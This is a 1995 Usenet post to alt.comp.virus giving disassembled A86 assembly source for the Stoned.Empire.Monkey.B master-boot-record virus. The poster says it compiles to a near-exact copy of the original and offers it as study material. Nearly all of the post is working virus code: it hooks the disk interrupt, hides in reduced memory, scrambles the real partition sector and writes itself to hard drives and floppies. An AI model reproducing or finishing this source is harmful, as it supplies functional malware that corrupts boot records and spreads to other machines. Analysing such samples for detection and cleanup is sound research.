From netcom.com!ix.netcom.com!howland.reston.ans.net!europa.eng.gtefsd.com!uhog.mit.edu!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife Sun Jan 15 21:28:13 1995 Xref: netcom.com alt.comp.virus:1039 Newsgroups: alt.comp.virus Path: netcom.com!ix.netcom.com!howland.reston.ans.net!europa.eng.gtefsd.com!uhog.mit.edu!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife From: halflife@tmok.res.wpi.edu (Halflife) Subject: monkey-b Message-ID: <halflife.75.0010F53B@tmok.res.wpi.edu> Lines: 365 Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory X-Newsreader: Trumpet for Windows [Version 1.0 Rev A] Date: Sun, 15 Jan 1995 21:57:21 GMT Lines: 365 ;**************************Stoned.Empire.Monkey.B ;This will create a binary image of Monkey. It compiles real well with the ;A86 compiler. I used that because I was trying to create source that was ;as equivalent to the original binary image as possible. With the exception ;of six bytes that differ due to using functionally equivalent op codes, ;Stoned.Empire.Monkey.B ;This is an MBR infected with the virus, it does not create an executable ;file. It has to be compiled and manually loaded to the MBR or boot sector ;of a floppy diskette. This is an excellent study as to how these types ;of viruses, and will give the researcher an very good resource as to how ;the infection mechanism works and how to prevent/clean this and other ;similar viruses. ;this is an exact duplicate when compiled with A86. If anyone wants to ;complete the commenting, please feel free as I did not understand some of ;this code. the author apparently had an excellent understanding of ;the partition loading stub as these areas are read during the installation ;of the virus. If you do add comments, send me a copy ;Leonard Gragson ;lgragson@fileshop.com ;YBMY91A - Prodigy ;73141,1034 - Compuserve ; jmp short virus_start ;all jmps are short nop mov ss, ax mov sp, 7c00h mov si, sp push ax pop es push ax pop ds sti cld mov di, 0600h mov cx, 100h repnz movsw db 0eah, 1dh, 6, 0, 0 ;jmp far 0000:061dh mov si, 7beh virus_start: cli ;no system interrupts sub bx, bx ;zero bx mov ds, bx ; mov ss, bx mov sp, 7c00h ;just below boot data area db 0eah, 2fh, 0, 0c0h, 7 ;***thats a jmp far 07c0:002f, which is next instruction ;***this sets offsets to org 0 int 12h ;get sys mem in ax mov si, 4ch push si cmp byte ptr cs:[00f2h], 2 ;test for BIOS mem location jz next_pt1 call shrink_mem mov di, 01fc mov cx, 2 cld repz movsw ;load int13h address into virus INT 13h handler ;which will start at es:0 jmp short next_pt2 next_pt1: call set_es next_pt2: pop si ;points to INT 13h vector entry mov word ptr [si], 007dh ;offset mov word ptr [si + 2], ax ;ax == es, where virus handler is going push cs pop ds ;ds == 0 up to this point call mov_virus ;ds now == 7c0h push es mov ax, 0062h ;for retf to virus push ax sti ;enable interrupts retf ;to es:62h -> see next routine set_virus: ;<- this is offset 62h! at virus location es:0062h mov es, cx ;like xor es, es mov bx, sp ;still at 7c00h! push cx push bx ;for return to 0000:7c00 mov dx, 0080h ;c: drive, cyl 0 call set_si ;haven't figured this out yet call do_virus_thing mov cl, 3 mov dx, 80h call read_drive call scramble_boot retf int_13h_handler: push ds push si push di push ax push cx push dx call set_si cmp ah, 2 ;read operation? jnz not_two push dx sub ax, ax int 1ah cmp dl, 40h pop dx jnb not_two call do_virus_thing ;write a virus to the drive or disk not_two: pop dx pop cx pop ax pop di push dx push cx push ax cmp cx, 3 jnb not_three cmp dh, [si] ;check for read/write to virus sector jnz not_three cmp ah, 2 jz call_int13h cmp ah, 3 jnz not_three cmp dl, 80h jb not_three sub ah, ah jmp short not_three call_int13h: call int_13h_call jb end_handler call check_data1 jz point_two call check_data2 jz point_two clc jmp short end_handler point_two: call set_real_partition mov dh, [si + 1] pop ax call int_13h_call call scramble_boot pop cx pop dx jmp short end_here not_three: call int_13h_call end_handler: pop ds pop ds pop ds end_here: pop si pop ds retf 2 data_area db 0, 1, 1, 0, 0, 0, 0, 80h, 1, 0, 5, 9, 0bh, 3, 5, 0eh, 0eh read_drive: mov ax, 0201h ;read 1 sector int_13h_call: pushf ;simulate INT db 2eh, 0ffh, 01eh, 0fch, 1 ;cs:call far [01fch] ret shrink_mem: dec ax ;contains mem from int 12h mov di, 414h dec di ;this has got to be a "fool the scanner" trick mov [di], ax ;shrink sys me by 1 K set_es: mov cl, 6 shl ax, cl ;get top of base mem in segs add al, 20h ;add a little more to be safe mov es, ax ;and set es. This will be about 9fe0h or so ;if full 640K mem ret write_drive: mov dh, [si] ;on first infection si == 0 - head 0 mov ax, 0301h ;write one sector call int_13h_call ;and do it ret do_virus_thing: sub cx, cx inc cx push cx ;god, mov cx, 1 mov dh, [si] ;location of sector call read_drive ;read in one sector, this will be partition ;on first infection jb end_do_virus_thing ;error? lets abort call check_data1 ;do we have 9219h sectors in last partition? jz end_do_virus_thing ;if so, get out of town call check_data2 jnz next_virus_pt cmp word ptr es:[bx + 1fah], 0 ; 0 sectors in last partition? jz end_do_virus_thing ; quit mov word ptr es:[bx + 1fah], 0 ;this will kill last partition mov cl, 1 ;sector 1? call write_drive jb end_do_virus_thing ;error abort inc cx ;sector 2? mov dh, [si + 2] call read_drive ;get the boot sector jb end_do_virus_thing pop ax ;should == 1 push cx next_virus_pt: call set_real_partition call scramble_boot inc si call write_drive dec si jb end_do_virus_thing call scramble_boot push cx call mov_virus pop cx push dx mov dl, [si + 3] ;mov word ptr es:[bx + 74h], dx db 26h, 89h, 97h, 74h, 00 ;****equivalent, I did this due to A86 translation being a little ;****different than the virus I captured pop dx ;mov byte ptr es:[bx + 72h], cl db 26h, 88h, 8fh, 72h, 00 ;****equivalent, I did this due to A86 translation being a little ;****different than the virus I captured mov word ptr es:[bx + 01feh], 0AA55h pop cx push cx mov byte ptr es:[bx + 00f2h], cl call write_drive end_do_virus_thing: pop ax ret mov_virus: ;****************** whole virus including first jmp is stored ;****************** and accessed later for disk/drive infections push si mov di, bx ;di == 0 mov si, 20h ;this is where virus starts add di, si ;he's keeping space between 1st jmp ;and the virus loading stub constant ;to facilitate future infections mov cx, 1dch ;we're moving this many repz movsb ;and mov 'em mov di, bx ;like xor di, di sub si, si ;like xor si, si mov cl, 3 ;movs the first jmp repz movsb ;instruction! pop si ret ;************checks for number of sectors in last partition! check_data1: cmp word ptr es:[bx + 01fah], 9219h ret ;************not sure what is going on here, offset 119h is in the partition code ;************this ain't a virus ID check_data2: cmp word ptr es:[bx + 119h], 6150h ret scramble_boot: push di push cx push ax mov di, bx mov cx, 200h cld scram_loop: mov al, byte ptr es:[di] xor al, 2eh stosb loop scram_loop pop ax pop cx pop di ret set_si: push cs pop ds mov si, 00eah ;location of real partition cmp dl, 80h ;hard drive access? jb end_set_si ;no? lets go mov si, 00eeh ;hard drive infection routine end_set_si: ret ;***********I think this loads the real partition which was read from sector 2 ;***********DS equ 7c0h set_real_partition: push di push si mov al, byte ptr es:[bx + 14h] mov cx, 4 loop_ptr: mov si, cx dec si cmp [si + 00f3h], al jz set_cl loop loop_ptr mov cl, 3 jmp short bye set_cl: mov cl, [si+00f7h] bye: pop si pop di ret scraps db 05dh, 7fh, 7eh, 7bh, 75h, 89h, 19h, 92h, 0, 0, 55h, 0aah